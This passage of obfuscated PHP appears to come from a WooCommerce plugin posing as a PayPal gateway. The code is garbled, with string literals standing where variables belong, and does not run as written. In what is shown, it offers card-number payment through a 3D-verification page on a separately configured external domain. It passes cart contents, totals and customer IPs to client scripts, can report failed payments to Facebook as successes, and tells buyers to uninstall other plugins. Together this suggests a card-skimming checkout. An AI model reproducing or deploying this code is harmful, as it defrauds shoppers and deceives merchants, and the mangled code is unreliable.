init_form_fields(){$U2yBuEt40=array();$U2yBuEt40[]=7;$U2yBuEt40[]=11;$U2yBuEt40[]=6;$U2yBuEt40[]=8;$U2yBuEt40[]=19;$U2yzAvP8H=array();$U2yzAvP8H['title']='Title';$U2yzAvP8H['type']='text';$U2yzAvP8H['description']='*结账页面标题(This controls the title which the user sees during checkout.)';$U2yzAvP8H['default']='PayPal';$U2yzAvP8I=array();$U2yzAvP8I['title']='Description';$U2yzAvP8I['type']='textarea';$U2yzAvP8I['description']='*结账页面描述(This controls the description which the user sees during checkout.)';$U2yzAvP8I['default']='Click the PayPal button below to process your order.';$U2yzA8K=array();$U2yzA8K[]='站内支付 Inside';$U2yzA8K[]='1';$U2yeFvPvPvP8J=call_user_func_array("__",$U2yzA8K);unset($U2yzA8K);$U2yzAvPvP8L=array();$U2yzAvPvP8L['1']=$U2yeFvPvPvP8J;$U2yzAvP8M=array();$U2yzAvP8M['title']='payment type';$U2yzAvP8M['type']='select';$U2yzAvP8M['description']='付款方式(3D verification page display type.)';$U2yzAvP8M['options']=$U2yzAvPvP8L;$U2yzAvP8M['default']='1';$U2yzA8O=array();$U2yzA8O[]='默认';$U2yzA8O[]='1';$U2yeFvPvPvP8N=call_user_func_array("__",$U2yzA8O);unset($U2yzA8O);$U2yzA8Q=array();$U2yzA8Q[]='账号付款';$U2yzA8Q[]='2';$U2yeFvPvPvP8P=call_user_func_array("__",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8S=array();$U2yzA8S[]='卡号付款';$U2yzA8S[]='3';$U2yeFvPvPvP8R=call_user_func_array("__",$U2yzA8S);unset($U2yzA8S);$U2yzAvPvP8T=array();$U2yzAvPvP8T['1']=$U2yeFvPvPvP8N;$U2yzAvPvP8T['2']=$U2yeFvPvPvP8P;$U2yzAvPvP8T['3']=$U2yeFvPvPvP8R;$U2yzAvP8U=array();$U2yzAvP8U['title']='3D verification type';$U2yzAvP8U['type']='select';$U2yzAvP8U['description']='3D验证页面展示类型(3D verification page display type.)';$U2yzAvP8U['options']=$U2yzAvPvP8T;$U2yzAvP8U['default']='3';$U2yzAvP8V=array();$U2yzAvP8V['title']='3D verified domain';$U2yzAvP8V['type']='text';$U2yzAvP8V['description']='*3D验证域名(复制同步后台-源码配置-前台地址)/ 3D verification domain name (copy and synchronize backend-source code configuration-frontend address)';$U2yzAvP8W=array();$U2yzAvP8W['title']='Order prefix';$U2yzAvP8W['type']='text';$U2yzAvP8W['description']='*后台显示订单前缀(Prevent duplication of order numbers on different sites.)';$U2yzAvP8W['default']='PP';$U2yzAvP8X=array();$U2yzAvP8X['title']='Store name';$U2yzAvP8X['type']='text';$U2yzAvP8X['description']='*3D页面显示的商店(Please fill in the store name displayed when 3D verification payment.)';$U2yzAvP8X['default']='PayPal';$U2yzAvP8Y=array();$U2yzAvP8Y['title']='Payment error message';$U2yzAvP8Y['type']='textarea';$U2yzAvP8Y['description']='*支付错误提示(Payment error message.)';$U2yzAvP8Y['default']="Sorry, an error occurred during the payment processPlease try again later or contact our customer service team for assistance.";$U2yzAvP8Z=array();$U2yzAvP8Z['title']='3ds close button';$U2yzAvP8Z['label']='Enable/Disable';$U2yzAvP8Z['type']='checkbox';$U2yzAvP8Z['description']='是否显示3D验证页面右上角的关闭按钮(Whether to display the close button in the upper right corner of the 3D verification page.)';$U2yzAvP8Z['default']='no';$U2yzAvP90=array();$U2yzAvP90['title']='Facebook payment success';$U2yzAvP90['label']='Enable/Disable';$U2yzAvP90['type']='checkbox';$U2yzAvP90['description']='点击支付时,FB像素会回传成功的像素,不管支付成功还是失败(Customize Facebook pixel to convert payment failure to success.)';$U2yzAvP90['default']='no';$U2yzA91=array();$U2yzA91['pp_title']=$U2yzAvP8H;$U2yzA91['pp_description']=$U2yzAvP8I;$U2yzA91['pp_payment_type']=$U2yzAvP8M;$U2yzA91['pp_verification_type']=$U2yzAvP8U;$U2yzA91['pp_domain']=$U2yzAvP8V;$U2yzA91['pp_prefix']=$U2yzAvP8W;$U2yzA91['pp_store_name']=$U2yzAvP8X;$U2yzA91['pp_error_text']=$U2yzAvP8Y;$U2yzA91['pp_show_close']=$U2yzAvP8Z;$U2yzA91['pp_fbq_check']=$U2yzAvP90;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA91;$this->form_fields='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';}public function enqueue_style(){$U2yBuEt41[]=19;$U2yBuEt41[]=3;$U2yBuEt41[]=14;$U2yBuEt41[]=18;$U2yBuEt41[]=9;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeF8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);'100'=$U2yeF8G . 'assets/css/appcss';unset('100');$U2yzA8H=array();$U2yzA8H[]=&'100';$U2yeF8G=call_user_func_array("file_exists",$U2yzA8H);unset($U2yzA8H);$U2yOiRy11=6870;if($U2yeF8G)goto U2yeWjgxn;goto U2yldMhxn;U2yeWjgxn:$U2yOiRy11="a"*"r";goto U2yxm;U2yldMhxn:$U2yOiRy11="r"*"r";U2yxm:$U2y8I=6*8;$U2y8J=$U2y8I+218;$U2y8K=$U2yOiRy11==$U2y8J;if($U2y8K)goto U2yeWjgxp;goto U2yldMhxp;U2yeWjgxp:$U2yzA8J=array();$U2yzA8J[]=&'100';$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);'100'=$U2yeF8I;goto U2yxo;U2yldMhxp:$U2y8L=2*15;$U2y8M=$U2y8L+12;$U2y8N=$U2yOiRy11==$U2y8M;if($U2y8N)goto U2yeWjgxq;goto U2yldMhxq;U2yeWjgxq:goto U2yxo;U2yldMhxq:U2yxo:unset('100');$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_url",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/css/appcss';$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-css';$U2yzA8K[]=&$U2yvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&'100';$U2yeF8J=call_user_func_array("wp_register_style",$U2yzA8K);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-css';$U2yeF8G=call_user_func_array("wp_enqueue_style",$U2yzA8H);unset($U2yzA8H);}public function enqueue_scripts(){$U2yBuEt42=array();$U2yBuEt42[]=7;$U2yBuEt42[]=3;$U2yBuEt42[]=12;$U2yBuEt42[]=7;$U2yBuEt42[]=15;$U2yzA8H=array();$U2yzA8H[]='assets/js/crypto-jsminjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='CryptoJS';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=null;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yOiRy16=3379;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_checkout",$U2yzA8H);unset($U2yzA8H);'100'=(bool)$U2yeF8G;$U2y8H=!'100';if($U2y8H)goto U2yeWjgxt;goto U2yldMhxt;U2yeWjgxt:$U2yzA8J=array();$U2yzA8J[]='order-pay';$U2yeF8I=call_user_func_array("is_wc_endpoint_url",$U2yzA8J);unset($U2yzA8J);'100'=(bool)$U2yeF8I;goto U2yxs;U2yldMhxt:U2yxs:if('100')goto U2yeWjgxu;goto U2yldMhxu;U2yeWjgxu:$U2yOiRy16="a"*"r";goto U2yxr;U2yldMhxu:U2yxr:'100'=6*14;$U2y8H='100'-63;$U2y8I=$U2yOiRy16==$U2y8H;if($U2y8I)goto U2yeWjgx12;goto U2yldMhx12;U2yeWjgx12:$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/js/appjs';$U2yzA8J=array();$U2yzA8J[]=&$U2yvP8G;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);unset('100');'100'=$U2yeF8I;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='100';$U2yzA8H=array();$U2yzA8H[]='assets/js/appjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzAvP8I[]='jquery';$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-js';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yzA8G=array();unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8G;unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=>'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yEc1['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';};$U2y1i=0;U2yxv:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);'100'=$U2y1i<$U2yeF8G;if('100')goto U2yeWjgx14;goto U2yldMhx14;U2yeWjgx14:goto U2yeWjgxz;goto U2yx13;U2yldMhx14:U2yx13:goto U2yldMhxz;U2yeWjgxz:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'[$U2y1i];unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yEc1['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'];unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'['data'];$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_name";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8K=array();$U2yzA8L=array();$U2yzA8L[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8L[]="get_price";$U2yhCvP8J=call_user_func_array($U2yzA8L,$U2yzA8K);unset($U2yzA8K);unset($U2yzA8L);$U2yzA8M=array();$U2yzA8M['name']=$U2yhCvP8G;$U2yzA8M['quantity']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'['quantity'];$U2yzA8M['price']=$U2yhCvP8J;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8M;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';U2yxw:$U2y1i=$U2y1i+1;goto U2yxv;goto U2yxy;U2yldMhxz:U2yxy:U2yxx:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=WC()->cart->total;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yzA8J=array();$U2yzA8K=array();$U2yzA8K[]=$this;$U2yzA8K[]="getIpAddress";$U2yhCvPvP8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8Q=array();$U2yeFvPvP8P=call_user_func_array("home_url",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8U=array();$U2yzA8U[]='custom/v3/update_order_status';$U2yeFvPvPvP8T=call_user_func_array("rest_url",$U2yzA8U);unset($U2yzA8U);$U2yzA8W=array();$U2yzA8W[]=&$U2yeFvPvPvP8T;$U2yeFvPvP8V=call_user_func_array("esc_url",$U2yzA8W);unset($U2yzA8W);$U2yzAvP8X=array();$U2yzAvP8X['admin_url']=$this->domain;$U2yzAvP8X['store_name']=$this->store_name;$U2yzAvP8X['ip']=$U2yhCvPvP8I;$U2yzAvP8X['prefix']=$this->prefix;$U2yzAvP8X['fbq_check']=$this->fbq_check;$U2yzAvP8X['cart_items']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['cart_total']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['currency_symbol']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['currency_code']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzAvP8X['error_text']=$this->error_text;$U2yzAvP8X['show_close']=$this->show_close;$U2yzAvP8X['current_domain']=$U2yeFvPvP8P;$U2yzAvP8X['paymentType']=$this->payment_type;$U2yzAvP8X['showType']=$this->verification_type;$U2yzAvP8X['updateOrderUrl']=$U2yeFvPvP8V;$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-js';$U2yzA8H[]='PayPalGatewayParams';$U2yzA8H[]=&$U2yzAvP8X;$U2yeF8G=call_user_func_array("wp_localize_script",$U2yzA8H);unset($U2yzA8H);goto U2yx11;U2yldMhx12:U2yx11:}public function payment_fields(){$U2yBuEt43=array();$U2yBuEt43[]=6;$U2yBuEt43[]=18;$U2yBuEt43[]=4;$U2yBuEt43[]=11;$U2yBuEt43[]=19;'100'='<fieldset id="wc-' . esc_attr($this->id);$U2y8H='100-cc-form" class="wc-credit-card-form wc-payment-form row row-paypal-gateway" style="background:transparent;">';echo $U2y8H;do_action('woocommerce_credit_card_form_start',$this->id);'100'='<div class="wc-ppcp-payment-method__container">
<div class="wc-ppcp-popup__container">
<img style="height:24px" src="/wp-content/plugins/paypal-gateway/assets/images/popupsvg">
<p style="padding-top: 10px;padding-bottom: 3px;font-size: 14px;">' . $this->description;$U2y8H='100</p>
</div>
</div>
';echo $U2y8H;do_action('woocommerce_credit_card_form_end',$this->id);echo '</fieldset>';}public function getIpAddress(){$U2yBuEt44=array();$U2yBuEt44[]=10;$U2yBuEt44[]=5;$U2yBuEt44[]=12;$U2yBuEt44[]=13;$U2yBuEt44[]=6;$U2yOiRy18=2210;if(class_exists('WC_Geolocation'))goto U2yeWjgx16;goto U2yldMhx16;U2yeWjgx16:$U2yOiRy18="a"*"a";goto U2yx15;U2yldMhx16:$U2yOiRy18="r"*"r";U2yx15:'100'=13*13;$U2y8H='100'-39;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx18;goto U2yldMhx18;U2yeWjgx18:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=WC_Geolocation::get_ip_address();goto U2yx17;U2yldMhx18:'100'=20*6;$U2y8H='100'-60;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx19;goto U2yldMhx19;U2yeWjgx19:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="getFallbackIp";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;goto U2yx17;U2yldMhx19:U2yx17:return 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';}private function getFallbackIp(){$U2yBuEt45=array();$U2yBuEt45[]=3;$U2yBuEt45[]=10;$U2yBuEt45[]=8;$U2yBuEt45[]=9;$U2yBuEt45[]=5;$U2yzA8G=array();$U2yzA8G[]='HTTP_CF_CONNECTING_IP';$U2yzA8G[]='HTTP_X_REAL_IP';$U2yzA8G[]='HTTP_X_FORWARDED_FOR';$U2yzA8G[]='HTTP_CLIENT_IP';$U2yzA8G[]='REMOTE_ADDR';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8G;unset($U2yEc1);$U2yEc1=array();foreach('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway' as 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yEc1[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';};$U2y1i=0;U2yx1q:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);'100'=$U2y1i<$U2yeF8G;$U2yOiRy43=1012;if('100')goto U2yeWjgx25;goto U2yldMhx25;U2yeWjgx25:$U2yOiRy43="a"*"a";goto U2yx24;U2yldMhx25:U2yx24:'100'=2*10;$U2y8H='100'-11;$U2y8I=$U2yOiRy43==$U2y8H;if($U2y8I)goto U2yeWjgx2h;goto U2yldMhx2h;U2yeWjgx2h:$U2y1Key=array_keys($U2yEc1);$U2y1Key=$U2y1Key[$U2y1i];unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yEc1[$U2y1Key];$U2yOiRy26=1012;'100'=!empty($_SERVER['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway']);$U2yOiRy27=1009;if('100')goto U2yeWjgx2j;goto U2yldMhx2j;U2yeWjgx2j:goto U2yeWjgx27;goto U2yx2i;U2yldMhx2j:U2yx2i:goto U2yldMhx27;U2yeWjgx27:goto U2yeWjgx1u;goto U2yx26;U2yldMhx27:U2yx26:goto U2yldMhx1u;U2yeWjgx1u:goto U2yeWjgx1b;goto U2yx1t;U2yldMhx1u:U2yx1t:goto U2yldMhx1b;U2yeWjgx1b:$U2yOiRy26="r"*"r";goto U2yx1a;U2yldMhx1b:U2yx1a:'100'=17*19;$U2y8H='100'-243;$U2y8I=$U2yOiRy26==$U2y8H;$U2yOiRy28=1013;if($U2y8I)goto U2yeWjgx2l;goto U2yldMhx2l;U2yeWjgx2l:goto U2yeWjgx29;goto U2yx2k;U2yldMhx2l:U2yx2k:goto U2yldMhx29;U2yeWjgx29:goto U2yeWjgx1w;goto U2yx28;U2yldMhx29:U2yx28:goto U2yldMhx1w;U2yeWjgx1w:goto U2yeWjgx1j;goto U2yx1v;U2yldMhx1w:U2yx1v:goto U2yldMhx1j;U2yeWjgx1j:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$_SERVER['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'];$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H[]=',';$U2yeF8G=call_user_func_array("strpos",$U2yzA8H);unset($U2yzA8H);'100'=$U2yeF8G!==false;$U2yOiRy29=1001;if('100')goto U2yeWjgx2n;goto U2yldMhx2n;U2yeWjgx2n:goto U2yeWjgx2b;goto U2yx2m;U2yldMhx2n:U2yx2m:goto U2yldMhx2b;U2yeWjgx2b:goto U2yeWjgx1y;goto U2yx2a;U2yldMhx2b:U2yx2a:goto U2yldMhx1y;U2yeWjgx1y:goto U2yeWjgx1l;goto U2yx1x;U2yldMhx1y:U2yx1x:goto U2yldMhx1l;U2yeWjgx1l:goto U2yeWjgx1d;goto U2yx1k;U2yldMhx1l:U2yx1k:goto U2yldMhx1d;U2yeWjgx1d:$U2yzA8H=array();$U2yzA8H[]=',';$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yeF8G=call_user_func_array("explode",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_list='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_list;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);$U2yOiRy30=1015;if($U2yeF8J)goto U2yeWjgx2p;goto U2yldMhx2p;U2yeWjgx2p:goto U2yeWjgx2d;goto U2yx2o;U2yldMhx2p:U2yx2o:goto U2yldMhx2d;U2yeWjgx2d:goto U2yeWjgx21;goto U2yx2c;U2yldMhx2d:U2yx2c:goto U2yldMhx21;U2yeWjgx21:goto U2yeWjgx1n;goto U2yx2z;U2yldMhx21:U2yx2z:goto U2yldMhx1n;U2yeWjgx1n:goto U2yeWjgx1f;goto U2yx1m;U2yldMhx1n:U2yx1m:goto U2yldMhx1f;U2yeWjgx1f:"a"=&"a";goto U2yx1e;U2yldMhx1f:U2yx1e:$U2yzA8I=array();$U2yzA8I[]=&"a";$U2yeF8G=call_user_func_array("trim",$U2yzA8I);unset($U2yzA8I);unset("a");unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;goto U2yx1c;U2yldMhx1d:U2yx1c:$U2yvP8G=FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE;$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H[]=FILTER_VALIDATE_IP;$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("filter_var",$U2yzA8H);unset($U2yzA8H);$U2yOiRy31=1018;if($U2yeF8G)goto U2yeWjgx2r;goto U2yldMhx2r;U2yeWjgx2r:goto U2yeWjgx2f;goto U2yx2q;U2yldMhx2r:U2yx2q:goto U2yldMhx2f;U2yeWjgx2f:goto U2yeWjgx23;goto U2yx2e;U2yldMhx2f:U2yx2e:goto U2yldMhx23;U2yeWjgx23:goto U2yeWjgx1p;goto U2yx22;U2yldMhx23:U2yx22:goto U2yldMhx1p;U2yeWjgx1p:goto U2yeWjgx1h;goto U2yx1o;U2yldMhx1p:U2yx1o:goto U2yldMhx1h;U2yeWjgx1h:return 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';goto U2yx1g;U2yldMhx1h:U2yx1g:goto U2yx1i;U2yldMhx1j:U2yx1i:U2yx1r:$U2y1i=$U2y1i+1;goto U2yx1q;goto U2yx2g;U2yldMhx2h:U2yx2g:U2yx1s:return '0000';}public function process_payment('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yBuEt46=array();$U2yBuEt46[]=13;$U2yBuEt46[]=10;$U2yBuEt46[]=13;$U2yBuEt46[]=9;$U2yBuEt46[]=4;$U2yOiRy46=2208;'100'=!isset($_POST['app_js_loaded']);$U2y8I=(bool)'100';$U2y8J=!$U2y8I;if($U2y8J)goto U2yeWjgx2u;goto U2yldMhx2u;U2yeWjgx2u:$U2y8H=$_POST['app_js_loaded']!=='true';$U2y8I=(bool)$U2y8H;goto U2yx2t;U2yldMhx2u:U2yx2t:if($U2y8I)goto U2yeWjgx2v;goto U2yldMhx2v;U2yeWjgx2v:$U2yOiRy46="a"*"r";goto U2yx2s;U2yldMhx2v:U2yx2s:'100'=18*19;$U2y8H='100'-225;$U2y8I=$U2yOiRy46==$U2y8H;if($U2y8I)goto U2yeWjgx2x;goto U2yldMhx2x;U2yeWjgx2x:$U2yzA8H=array();$U2yzA8H[]='It is detected that you have other plug-ins that prevent the payment from being completedPlease uninstall the other plug-ins and try again.';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yx2w;U2yldMhx2x:U2yx2w:$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yzA8H=array();$U2yzA8H[]='Awaiting payment';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='pending';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_amount='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency;$U2yeFvP8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("html_entity_decode",$U2yzA8J);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8I;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency_symbol='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_return_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['order_currency_symbol']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency_symbol;$U2yzA8J['order_currency']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency;$U2yzA8J['order_amount']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_amount;$U2yzA8J['redirect']=$U2yhCvP8G;return $U2yzA8J;}};}}function lighthouse_paypal_remove_fields($woo_checkout_fields_array){$U2yBuEt36=array();$U2yBuEt36[]=17;$U2yBuEt36[]=17;$U2yBuEt36[]=9;$U2yBuEt36[]=8;$U2yBuEt36[]=14;unset($woo_checkout_fields_array['billing']['billing_company']);return $woo_checkout_fields_array;}function paypal_custom_button_html('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yBuEt37=array();$U2yBuEt37[]=10;$U2yBuEt37[]=6;$U2yBuEt37[]=4;$U2yBuEt37[]=9;$U2yBuEt37[]=17;$U2yOiRy7=4921;'100'=WC()->session->get('chosen_payment_method')==='woocommerce_payments_lighthouse_paypal_gateway';if('100')goto U2yeWjgxf;goto U2yldMhxf;U2yeWjgxf:$U2yOiRy7="r"*"r";goto U2yxe;U2yldMhxf:U2yxe:'100'=3*16;$U2y8H='100'-32;$U2y8I=$U2yOiRy7==$U2y8H;if($U2y8I)goto U2yeWjgxh;goto 